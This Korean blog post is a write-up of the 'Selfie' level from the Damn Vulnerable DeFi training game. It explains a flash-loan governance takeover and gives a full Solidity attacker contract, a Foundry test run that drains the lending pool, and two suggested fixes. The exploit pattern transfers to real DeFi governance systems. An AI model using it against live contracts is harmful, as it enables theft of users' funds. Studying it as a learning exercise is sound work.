티스토리 뷰

Solidity/Hacking

[Damn Vulnerable DeFi] Selfie

piatoss 2024. 2. 26. 10:42

문제

 

Selfie

A new cool lending pool has launched! It’s now offering flash loans of DVT tokens. It even includes a fancy governance mechanism to control it. What could go wrong, right ? You start with no DVT tokens in balance, and the pool has 1.5 million. Your goal

www.damnvulnerabledefi.xyz


취약점

 렌딩 풀이 가지고 있는 거버넌스 토큰을 탈취해야 합니다. 우선 렌딩 풀부터 살펴봅시다.

 

 이번 렌딩 풀의 특이사항은 거버넌스 컨트랙트와 상호작용한다는 것입니다. 거버넌스 컨트랙트에서 drainAllFunds를 호출하면 가지고 있는 모든 거버넌스 토큰을 전송하는데, 이를 활용할 방법을 모색해 봅시다.

modifier onlyGovernance() {
    if (msg.sender != address(governance)) revert OnlyGovernanceAllowed();
    _;
}

function drainAllFunds(address receiver) external onlyGovernance {
    uint256 amount = token.balanceOf(address(this));
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}

 SimpleGovernance 컨트랙트에는 queueAction이라는 함수가 있습니다. 거버넌스 컨트랙트가 실행할 작업을 큐에 추가해 놓고 일정 시간이 딜레이 된 후에 executeAction 함수를 호출하여 작업을 실행할 수 있습니다. 거버넌스 컨트랙트가 dranAllFunds를 실행하도록 큐에 추가하고 일정 시간 뒤에 실행하면 문제를 해결할 수 있습니다.

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
    if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotesToPropose();
    if (receiver == address(this)) {
        revert CannotQueueActionsThatAffectGovernance();
    }

    uint256 actionId = actionCounter;

    GovernanceAction storage actionToQueue = actions[actionId];
    actionToQueue.receiver = receiver;
    actionToQueue.weiAmount = weiAmount;
    actionToQueue.data = data;
    actionToQueue.proposedAt = block.timestamp;

    actionCounter++;

    emit ActionQueued(actionId, msg.sender);
    return actionId;
}

function _hasEnoughVotes(address account) private view returns (bool) {
    uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
    uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
    return balance > halfTotalSupply;
}

 다만 sender가 거버넌스 토큰 총 발행량의 절반 이상의 토큰을 가지고 있어야 한다는 제약이 있습니다. 그리고 이것이 스냅샷으로 기록이 되어 있어야 합니다. 다행히(?) snapshot 함수를 누구나 호출할 수 있습니다. 이제 플래시 론으로 빌린 뒤 스냅샷을 기록하고 작업을 추가하여 모든 거버넌스 토큰을 탈취해보도록 하죠!

function snapshot() public returns (uint256) {
    lastSnapshotId = _snapshot();
    return lastSnapshotId;
}

공격

 플래시 론으로 빌린 거버넌스 토큰을 receiveTokens 훅으로 받았을 때, 우선 스냅샷을 기록하고 거버넌스 컨트랙트가 drainAllFunds 함수를 호출하여 공격자 컨트랙트에게 모든 거버넌스 토큰을 전송하도록 작업을 추가합니다. 그리고 사용이 끝난 거버넌스 토큰은 렌딩 풀에 반납합니다.

contract Attacker {
    SimpleGovernance public simpleGovernance;
    SelfiePool public selfiePool;
    DamnValuableTokenSnapshot public dvtSnapshot;

    address public owner;
    uint256 public actionId;

    constructor(SimpleGovernance _simpleGovernance, SelfiePool _selfiePool, DamnValuableTokenSnapshot _dvtSnapshot) {
        simpleGovernance = _simpleGovernance;
        selfiePool = _selfiePool;
        dvtSnapshot = _dvtSnapshot;
        owner = msg.sender;
    }

    function attack() public {
        selfiePool.flashLoan(dvtSnapshot.balanceOf(address(selfiePool)));
    }

    function receiveTokens(address, uint256 amount) external {
        dvtSnapshot.snapshot();
        actionId = simpleGovernance.queueAction(
            address(selfiePool), abi.encodeWithSignature("drainAllFunds(address)", address(this)), 0
        );
        dvtSnapshot.transfer(address(selfiePool), amount);
    }

    function withdraw() public {
        require(msg.sender == owner, "Not owner");
        dvtSnapshot.transfer(owner, dvtSnapshot.balanceOf(address(this)));
    }
}

 큐에 추가된 작업을 실행하기 위해서는 3일의 시간이 지나야 합니다. 3일이 지나면 executeAction 함수를 호출하여 렌딩 풀의 모든 거버넌스 토큰이 공격자 컨트랙트에게 전송되도록 합니다. 마지막으로 공격자는 공격자 컨트랙트에 들어 있는 모든 거버넌스 토큰을 자신의 계좌로 옮김으로써 공격을 마무리합니다.

vm.startPrank(attacker);
Attacker attackerContract = new Attacker(simpleGovernance, selfiePool, dvtSnapshot);
attackerContract.attack();

vm.warp(block.timestamp + simpleGovernance.getActionDelay());

simpleGovernance.executeAction(attackerContract.actionId());
attackerContract.withdraw();

vm.stopPrank();
$ make Selfie 
forge test --match-test testExploit --match-contract Selfie
[⠘] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/selfie/Selfie.t.sol:Selfie
[PASS] testExploit() (gas: 971394)
Logs:
  🧨 Let's see if you can break it... 🧨
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 21.49ms

Ran 1 test suite in 21.49ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

1. 스냅샷 권한 제어

 스냅샷 함수를 실행할 수 있는 권한을 특정 계정에게 부여합니다. 이렇게 되면 거버넌스 컨트랙트에서 스냅샷을 주기적으로 기록할 수 있는 로직이 추가되어야 하므로 로직이 복잡해질 수 있습니다.

function snapshot() public onlyOwner returns (uint256) {
    lastSnapshotId = _snapshot();
    return lastSnapshotId;
}

2. 거버넌스 토큰과 관련된 작업 실행 제어

 거버넌스 토큰(transfer, approve)과 렌딩 풀(drainAllFunds)도 거버넌스에 큰 영향을 미치므로 receiver가 governanceToken일 경우 CannotQueueActionsThatAffectGovernance 오류를 반환해야 합니다.

function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
    if (!_hasEnoughVotes(msg.sender)) revert NotEnoughVotesToPropose();
    if (receiver == address(this) || receiver == address(governanceToken) || receiver == address(selfiePool)) {
        revert CannotQueueActionsThatAffectGovernance();
    }
    ...
}

'Solidity > Hacking' 카테고리의 다른 글

[Damn Vulnerable DeFi] Puppet  (1) 2024.02.28
[Damn Vulnerable DeFi] Compromised  (1) 2024.02.27
[Damn Vulnerable DeFi] The Rewarder  (0) 2024.02.25
[Ethernaut] 24. Puzzle Wallet  (1) 2024.02.25
[Ethernaut] 26. DoubleEntryPoint  (1) 2024.02.24
최근에 올라온 글
최근에 달린 댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Total
Today
Yesterday
글 보관함